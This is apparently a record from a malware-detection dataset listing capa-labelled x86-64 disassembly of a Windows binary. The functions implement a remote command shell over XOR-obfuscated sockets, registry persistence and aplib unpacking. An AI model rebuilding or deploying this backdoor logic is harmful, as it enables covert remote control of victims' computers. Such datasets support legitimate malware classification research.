joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140951058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.1409511df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140951089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14095106f
add dl, dl
jne 0x140951096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1409510f6
xor eax, eax
add dl, dl
jne 0x1409510a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1409511ad
add dl, dl
jne 0x1409510b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1409510c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1409510d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1409510dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1409510ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14095107e
mov eax, 1
add dl, dl
jne 0x140951106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140951113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1409510fb
sub eax, ebx
mov ebx, 1
jne 0x14095114c
mov ecx, 1
add dl, dl
jne 0x14095112e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14095113b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140951123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14095107e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140951168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140951175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14095115d
cmp eax, 0x7d00
jae 0x14095119b
cmp eax, 0x500
jb 0x140951196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14095107e
cmp eax, 0x7f
ja 0x14095119e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14095107e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1409511d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14095107e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x1400027d0
Capabilities:
Connect socket
Create thread

Disassembly:
push rbx
sub rsp, 0x30
xor r8d, r8d
mov rbx, rcx
lea edx, [r8 + 1]
lea ecx, [rdx + 1]
call qword [sym.imp.WS2_32.dll_socket]
lea rdx, [rbx + 0x2250]
mov r8d, reloc.WS2_32.dll_recv
mov rcx, rax
mov qword [rbx + 0x2248], rax
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
je 0x140002812
xor al, al
add rsp, 0x30
pop rbx
ret
xor eax, eax
lea r8, [0x1400021d0]
mov qword [rsp + 0x28], rax
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], eax
xor ecx, ecx
call fcn.14000e1b8
mov al, 1
add rsp, 0x30
pop rbx
ret

Function at 0x1400035e0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x140040080]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x14000360d
xor eax, eax
jmp 0x140003753
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x140003647
mov rax, qword [rcx + 0x58]
movsxd r8, dword [rax]
lea rcx, [rdx + r8]
cmp rdx, rcx
jae 0x140003647
lea ecx, [r8 - 1]
mov dword [rax], ecx
mov eax, edi
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], dil
jmp 0x140003753
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x140003746
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x14000368a
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x140003699
movsx ecx, dil
jmp 0x1400036ed
lea r8, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov rax, qword [rcx]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x38], r8
lea r9, [rsp + 0x51]
lea r8, [rsp + 0x78]
mov qword [rsp + 0x30], r8
lea r8, [rsp + 0x58]
mov qword [rsp + 0x28], r8
lea r8, [rsp + 0x48]
mov qword [rsp + 0x20], r8
lea r8, [rsp + 0x50]
call qword [rax + 0x38]
test eax, eax
js 0x140003746
cmp eax, 1
jle 0x140003707
cmp eax, 3
jne 0x140003746
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call fcn.14000da74
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x14000374b
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x140003734
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call fcn.140010d74
cmp rsi, rax
jne 0x140003746
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov eax, edi
jne 0x14000374b
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140009720
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret
Function at 0x140005460
Capabilities:
Encode data using xor
Read file on windows
Read pipe

Disassembly:
mov rax, rsp
push rsi
push rdi
push r14
sub rsp, 0x100
mov qword [rsp + 0x30], 0xfffffffffffffffe
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], rbp
mov rax, qword [0x140040080]
xor rax, rsp
mov qword [rsp + 0xf0], rax
mov r14, rdx
mov rbp, rcx
mov qword [rsp + 0x40], rdx
cmp byte [0x140042dc8], 0
je 0x1400055a1
xor edi, edi
mov dword [rsp + 0x38], edi
mov dword [rsp + 0x40], edi
xor edx, edx
mov r8d, 0x80
lea rcx, [rsp + 0x70]
call fcn.14000b570
movdqa xmm0, xmmword [0x14003af70]
movdqu xmmword [rsp + 0x58], xmm0
mov byte [rsp + 0x48], dil
nop dword [rax + rax]
mov qword [rsp + 0x28], rdi
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
mov esi, dword [rsp + 0x38]
test esi, esi
je 0x1400054e0
jle 0x14000558c
mov rbx, 0xffffffffffffffff
nop dword [rax]
mov qword [rsp + 0x20], rdi
lea r9, [rsp + 0x40]
mov r8d, 0x7f
lea rdx, [rsp + 0x70]
mov rcx, qword [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov byte [rsp + 0xef], 0
lea rax, [rsp + 0x70]
mov r8, rbx
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140005550
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x48]
call fcn.1400041d0
sub esi, dword [rsp + 0x40]
mov eax, esi
mov esi, edi
test eax, eax
cmovg esi, eax
xor edx, edx
mov r8d, 0x80
lea rcx, [rsp + 0x70]
call fcn.14000b570
test esi, esi
jg 0x140005520
movups xmm0, xmmword [rsp + 0x48]
movups xmmword [r14], xmm0
movups xmm1, xmmword [rsp + 0x58]
movups xmmword [r14 + 0x10], xmm1
jmp 0x14000560a
movdqa xmm0, xmmword [0x14003b000]
movdqu xmmword [rsp + 0x48], xmm0
mov byte [rsp + 0x58], 1
xor edi, edi
mov ecx, edi
nop dword [rax + rax]
lea eax, [rcx - 0x40]
xor byte [rsp + rcx + 0x48], al
inc rcx
cmp rcx, 0x10
jb 0x1400055c0
mov byte [rsp + 0x58], dil
mov qword [rdx + 0x10], rdi
mov qword [rdx + 0x18], recv
mov byte [rdx], dil
lea rax, [rsp + 0x48]
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rax + rbx], dil
jne 0x1400055f0
mov r8, rbx
lea rdx, [rsp + 0x48]
mov rcx, r14
call fcn.140004070
nop
mov rax, r14
mov rcx, qword [rsp + 0xf0]
xor rcx, rsp
call fcn.140009720
lea r11, [rsp + 0x100]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
Function at 0x140005640
Capabilities:
Write file on windows

Disassembly:
mov rax, rsp
push rbp
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
mov qword [rbp + 0x2f], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov rax, qword [0x140040080]
xor rax, rsp
mov qword [rbp + 0x47], rax
mov rbx, rdx
mov qword [rbp + 0x37], rdx
xor esi, esi
mov dword [rbp - 0x19], esi
mov rdi, qword [0x140042dc0]
cmp byte [0x140042dc8], sil
je 0x1400057ed
mov dword [rbp + 0x3f], esi
mov rcx, qword [rdx + 0x10]
mov rdx, qword [rdx + 0x18]
cmp rcx, rdx
jae 0x1400056bd
lea rax, [rcx + 1]
mov qword [rbx + 0x10], rax
mov rax, rbx
cmp rdx, 0x10
jb 0x1400056b5
mov rax, qword [rbx]
mov word [rax + rcx], 0xa
jmp 0x1400056c8
mov r9b, 0xa
mov rcx, rbx
call fcn.140004b20
mov rdx, rbx
cmp qword [rbx + 0x18], 0x10
jb 0x1400056d5
mov rdx, qword [rbx]
mov qword [rsp + 0x20], rsi
lea r9, [rbp + 0x3f]
mov r8d, dword [rbx + 0x10]
mov rcx, qword [rdi + 8]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x14000582a
movdqa xmm0, xmmword [0x14003af70]
movdqu xmmword [rbp + 0x1f], xmm0
mov byte [rbp + 0xf], al
mov dword [rbp - 0x19], 1
mov rdx, qword [rbx + 0x10]
add rdx, 0x18
cmp rdx, 0x10
jb 0x140005726
lea rcx, [rbp + 0xf]
call fcn.1400059e0
mov qword [rbp + 0x1f], rsi
mov r8d, 0x18
lea rdx, str.Couldnt_write_command_
lea rcx, [rbp + 0xf]
call fcn.1400041d0
mov rdx, rbx
cmp qword [rbx + 0x18], 0x10
jb 0x140005749
mov rdx, qword [rbx]
mov r8, qword [rbx + 0x10]
lea rcx, [rbp + 0xf]
call fcn.1400041d0
mov r8d, reloc.WS2_32.dll_inet_addr
lea rdx, str._to_stdIn.
lea rcx, [rbp + 0xf]
call fcn.1400041d0
mov qword [rbp - 1], rsi
mov qword [rbp + 7], rsi
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x11], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 1], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], recv
mov byte [rax], 0
mov dword [rbp - 0x19], 3
mov r8d, 2
lea rdx, [rbp - 0x11]
mov rcx, qword [0x140042db8]
call fcn.140007df0
nop
mov rdx, qword [rbp + 0x27]
cmp rdx, 0x10
jb 0x14000582a
inc rdx
mov rcx, qword [rbp + 0xf]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400057e6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005894
call fcn.140009744
jmp 0x14000582a
mov qword [rbp - 1], rsi
mov qword [rbp + 7], recv
mov byte [rbp - 0x11], 0
mov r8d, 0x23
lea rdx, str.Couldnt_write_to_CMD:_CMD_not_open
lea rcx, [rbp - 0x11]
call fcn.140004070
mov r8d, 2
lea rdx, [rbp - 0x11]
mov rcx, qword [0x140042db8]
call fcn.140007df0
nop
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x140005860
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x14000585b
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000589a
mov rcx, r8
call fcn.140009744
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], recv
mov byte [rbx], 0
mov rcx, qword [rbp + 0x47]
xor rcx, rsp
call fcn.140009720
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
call fcn.1400119b4
nop
call fcn.1400119b4
int3
Function at 0x1400064a0
Capabilities:
Encode data using xor
Set registry value

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x3e0]
sub rsp, 0x4e0
mov rax, qword [0x140040080]
xor rax, rsp
mov qword [rbp + 0x3d0], rax
mov rbx, rdx
mov rdi, rcx
xor r14d, r14d
lea rcx, [rbp - 0x40]
xor edx, edx
mov qword [rbp - 0x50], r14
mov r8d, 0x410
call fcn.14000b570
lea r8, [0x14003a974]
mov edx, 0x208
lea rcx, [rbp - 0x40]
call fcn.140011af0
mov r8, rbx
lea rcx, [rbp - 0x40]
mov edx, 0x208
call fcn.140011b58
lea r8, [0x14003a978]
mov edx, 0x208
lea rcx, [rbp - 0x40]
call fcn.140011b58
mov eax, r14d
mov dword [rsp + 0x50], 0xa7ada792
mov edx, 0x583f
mov dword [rsp + 0x54], 0xa7b0a7a5
mov ebx, 0xa7ad
mov dword [rsp + 0x58], 0xa7a7a7b2
mov dword [rsp + 0x5c], 0xa7ada7b5
mov dword [rsp + 0x60], 0xa787a795
mov dword [rsp + 0x64], 0xa7afa7a2
mov dword [rsp + 0x68], 0xa7a1a7bf
mov dword [rsp + 0x6c], 0xa7bfa7bc
mov dword [rsp + 0x70], 0xa7a6a7b7
mov dword [rsp + 0x74], 0xa783a78f
mov dword [rsp + 0x78], 0xa7b8a7bc
mov dword [rsp + 0x7c], 0xa7b7a7b3
mov dword [rbp - 0x80], 0xa7a9a7ae
mov dword [rbp - 0x7c], 0xa79fa787
mov dword [rbp - 0x78], 0xa7aca7a8
mov dword [rbp - 0x74], 0xa785a7ad
mov dword [rbp - 0x70], 0xa796a78f
mov dword [rbp - 0x6c], 0xa781a7b5
mov dword [rbp - 0x68], 0xa795a797
mov dword [rbp - 0x64], 0xa787a78e
mov dword [rbp - 0x60], 0xa7b6a787
mov dword [rbp - 0x5c], 0xa799a7b9
mov dword [rbp - 0x58], 0xa7eea783
mov byte [rbp - 0x54], 1
nop word [rax + rax]
movzx ecx, ax
sub cx, dx
xor word [rsp + rax*2 + 0x50], cx
inc rax
cmp rax, 0x2e
jb 0x1400065f0
mov qword [rsp + 0x40], r14
lea rax, [rbp - 0x50]
mov qword [rsp + 0x38], rax
lea rdx, [rsp + 0x50]
mov qword [rsp + 0x30], r14
xor r9d, r9d
mov dword [rsp + 0x28], 0x2001f
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov dword [rsp + 0x20], r14d
mov byte [rbp - 0x54], r14b
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
sete bl
test eax, eax
jne 0x14000668f
lea rcx, [rbp - 0x40]
mov rax, 0xffffffffffffffff
cmp word [rcx + rax*2 + 2], r14w
lea rax, [rax + 1]
jne 0x140006654
mov rcx, qword [rbp - 0x50]
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
mov r9d, 1
lea rax, [rbp - 0x40]
xor r8d, r8d
mov rdx, rdi
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
sete bl
mov rcx, qword [rbp - 0x50]
test rcx, rcx
je 0x14000669e
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
movzx eax, bl
mov rcx, qword [rbp + 0x3d0]
xor rcx, rsp
call fcn.140009720
lea r11, [rsp + 0x4e0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
Function at 0x1400068e0
Capabilities:
Encode data using xor
Query or enumerate registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [0x140040080]
xor rax, rsp
mov qword [rbp - 0x10], rax
cmp qword [0x140040cf0], 0x10
lea rbx, [0x140040cd8]
movdqa xmm0, xmmword [0x14003afd0]
cmovae rbx, qword [0x140040cd8]
xor edi, edi
movdqa xmm1, xmmword [0x14003af80]
mov eax, edi
movdqu xmmword [rbp - 0x50], xmm0
mov dword [rbp - 0x30], 0x81b5968f
movdqu xmmword [rbp - 0x40], xmm1
mov dword [rbp - 0x2c], 0x878e9597
mov dword [rbp - 0x28], 0x99b9b687
mov word [rbp - 0x24], 0xee83
mov byte [rbp - 0x22], 1
nop word [rax + rax]
lea ecx, [rax - 0x3f]
xor byte [rbp + rax - 0x50], cl
inc rax
cmp rax, 0x2e
jb 0x140006960
lea rax, [rbp - 0x20]
mov byte [rbp - 0x22], dil
mov r9d, 0x20019
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov dword [rbp - 0x18], edi
lea rdx, [rbp - 0x50]
mov qword [rbp - 0x20], rdi
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1400069c8
mov rcx, qword [rbp - 0x20]
lea r9, [rbp - 0x18]
mov qword [rsp + 0x28], rdi
xor r8d, r8d
mov rdx, rbx
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1400069c8
mov al, 1
jmp 0x1400069ca
xor al, al
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.140009720
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
Function at 0x140007af0
Capabilities:
Encode data using xor
Receive data
Receive data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
xor ebp, ebp
movsxd rdi, r8d
mov rsi, rdx
mov r14, rcx
mov ebx, ebp
test r8d, r8d
jle 0x140007b4b
nop dword [rax]
mov rcx, qword [r14 + 0x2248]
mov r8d, edi
movsxd rdx, ebx
sub r8d, ebx
add rdx, rsi
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x140007c19
add ebx, eax
cmp ebx, edi
jl 0x140007b20
test edi, edi
jle 0x140007bdc
cmp edi, 0x40
jb 0x140007bdc
mov ecx, edi
and ecx, 0x8000003f
jge 0x140007b6d
dec ecx
or ecx, 0xffffffc0
inc ecx
movdqa xmm2, xmmword [0x14003aff0]
mov eax, edi
sub eax, ecx
mov rdx, 0xfffffffffffffff0
movsxd r8, eax
lea rcx, [rsi + 0x10]
sub rdx, rsi
nop word [rax + rax]
movdqu xmm0, xmmword [rcx - 0x10]
lea rcx, [rcx + 0x40]
add ebp, 0x40
lea rax, [rdx + rcx]
pxor xmm0, xmm2
movdqu xmmword [rcx - 0x50], xmm0
movdqu xmm1, xmmword [rcx - 0x40]
pxor xmm1, xmm2
movdqu xmmword [rcx - 0x40], xmm1
movdqa xmm1, xmm2
movdqu xmm0, xmmword [rcx - 0x30]
pxor xmm0, xmm2
movdqu xmmword [rcx - 0x30], xmm0
movdqu xmm0, xmmword [rcx - 0x20]
pxor xmm1, xmm0
movdqu xmmword [rcx - 0x20], xmm1
cmp rax, r8
jl 0x140007b90
movsxd rdx, ebp
mov rcx, rdi
cmp rdx, rdi
jge 0x140007bfc
lea rax, [rdx + rsi]
sub rcx, rdx
nop
xor byte [rax], 0xcc
inc rax
sub rcx, 1
jne 0x140007bf0
mov al, 1
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
xor al, al
jmp 0x140007bfe
Function at 0x140007c20
Capabilities:
Encode data using xor
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
xor ebx, ebx
movsxd rdi, r8d
mov rsi, rdx
mov rbp, rcx
mov edx, ebx
test r8d, r8d
jle 0x140007ce0
cmp edi, 0x40
jb 0x140007ce0
mov r8d, edi
and r8d, 0x8000003f
jge 0x140007c69
dec r8d
or r8d, 0xffffffc0
inc r8d
movdqa xmm2, xmmword [0x14003aff0]
lea rcx, [rsi + 0x10]
mov eax, edi
sub eax, r8d
mov r8, 0xfffffffffffffff0
sub r8, rsi
movsxd r9, eax
nop word [rax + rax]
movdqu xmm0, xmmword [rcx - 0x10]
lea rcx, [rcx + 0x40]
add edx, 0x40
lea rax, [r8 + rcx]
pxor xmm0, xmm2
movdqu xmmword [rcx - 0x50], xmm0
movdqu xmm1, xmmword [rcx - 0x40]
pxor xmm1, xmm2
movdqu xmmword [rcx - 0x40], xmm1
movdqa xmm1, xmm2
movdqu xmm0, xmmword [rcx - 0x30]
pxor xmm1, xmm0
movdqu xmmword [rcx - 0x30], xmm1
movdqa xmm1, xmm2
movdqu xmm0, xmmword [rcx - 0x20]
pxor xmm1, xmm0
movdqu xmmword [rcx - 0x20], xmm1
cmp rax, r9
jl 0x140007c90
movsxd r8, edx
mov rcx, rdi
cmp r8, rdi
jge 0x140007cfe
lea rax, [r8 + rsi]
sub rcx, r8
xor byte [rax], 0xcc
inc rax
sub rcx, 1
jne 0x140007cf2
test edi, edi
jle 0x140007d37
nop dword [rax]
nop word [rax + rax]
mov rcx, qword [rbp + 0x2248]
mov r8d, edi
movsxd rdx, ebx
sub r8d, ebx
add rdx, rsi
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x140007d4e
add ebx, eax
cmp ebx, edi
jl 0x140007d10
mov al, 1
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
xor al, al
jmp 0x140007d39

Function at 0x140007d60
Capabilities:
Send data
Send data on socket

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x30
mov rax, qword [0x140040080]
xor rax, rsp
mov qword [rsp + 0x28], rax
mov rdi, rcx
mov dword [rsp + 0x20], edx
mov ecx, edx
call qword [sym.imp.WS2_32.dll_htonl]
mov dword [rsp + 0x20], eax
xor byte [rsp + 0x20], 0xcc
xor byte [rsp + 0x21], 0xcc
xor byte [rsp + 0x22], 0xcc
xor byte [rsp + 0x23], 0xcc
xor ebx, ebx
mov rcx, qword [rdi + 0x2248]
lea rdx, [rsp + 0x20]
mov r8d, 4
movsxd rax, ebx
sub r8d, ebx
add rdx, rax
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x140007dd6
add ebx, eax
cmp ebx, 4
jl 0x140007da2
mov al, 1
jmp 0x140007dd8
xor al, al
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.140009720
mov rbx, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
Function at 0x140007f90
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x30
mov rax, qword [0x140040080]
xor rax, rsp
mov qword [rsp + 0x28], rax
mov rsi, rdx
mov rdi, rcx
xor ebx, ebx
nop word [rax + rax]
mov rcx, qword [rdi + 0x2248]
lea rdx, [rsp + 0x20]
mov r8d, 4
movsxd rax, ebx
sub r8d, ebx
add rdx, rax
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x140008044
add ebx, eax
cmp ebx, 4
jl 0x140007fc0
xor byte [rsp + 0x20], 0xcc
xor byte [rsp + 0x21], 0xcc
xor byte [rsp + 0x22], 0xcc
xor byte [rsp + 0x23], 0xcc
mov ecx, dword [rsp + 0x20]
call qword [sym.imp.WS2_32.dll_ntohl]
mov dword [rsp + 0x20], eax
inc eax
movsxd rcx, eax
call fcn.140009a50
movsxd rdx, dword [rsp + 0x20]
mov rcx, rdi
mov rbx, rax
mov byte [rdx + rax], 0
mov rdx, rax
mov r8d, dword [rsp + 0x20]
call fcn.140007af0
test al, al
jne 0x140008063
mov rcx, rbx
call fcn.140009744
xor al, al
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.140009720
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x140008070
mov rdx, rbx
mov rcx, rsi
call fcn.140004070
mov rcx, rbx
call fcn.140009744
mov al, 1
jmp 0x140008046

Function at 0x14000da50
Capabilities:
Parse pe header

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push r15
sub rsp, 0x20
mov esi, r8d
mov ebx, edx
mov r14d, ecx
test r8d, r8d
jne 0x14000d824
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000d824
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000d824
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000d824
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000d824
cmp dword [rcx + 0x84], 0xe
jbe 0x14000d824
cmp dword [rcx + 0xf8], esi
je 0x14000d824
mov ecx, r14d
call fcn.14000d96c
mov ecx, 2
call fcn.140011d48
nop
cmp byte [0x1400421c0], 0
jne 0x14000d8ee
mov r15d, 1
mov eax, r15d
xchg dword [0x1400421b0], eax
test ebx, ebx
jne 0x14000d897
mov rdi, qword [0x140040080]
mov edx, edi
and edx, 0x3f
lea ecx, [rbx + 0x40]
sub ecx, edx
xor eax, eax
ror rax, cl
xor rax, rdi
mov rcx, qword [0x1400421b8]
cmp rcx, rax
je 0x14000d88e
xor rdi, rcx
mov ecx, edx
ror rdi, cl
mov rcx, rdi
call qword [fcn.1400039f0]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rdi
lea rcx, [0x140042538]
jmp 0x14000d8a3
cmp ebx, r15d
jne 0x14000d8a9
lea rcx, [0x140042550]
call fcn.1400165a0
nop
test ebx, ebx
jne 0x14000d8c0
lea rdx, [0x1400294f8]
lea rcx, [0x1400294d0]
call fcn.1400168d8
lea rdx, [0x140029508]
lea rcx, [0x140029500]
call fcn.1400168d8
movzx eax, byte [0x1400421c0]
test esi, esi
cmove eax, r15d
mov byte [0x1400421c0], al
jmp 0x14000d8ee
mov ecx, 2
call fcn.140011d9c
test esi, esi
jne 0x14000d905
mov ecx, r14d
call fcn.14000d920
int3
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
mov r14, qword [rsp + 0x48]
add rsp, 0x20
pop r15
ret
xor r8d, r8d
xor edx, edx
jmp 0x14000d7b4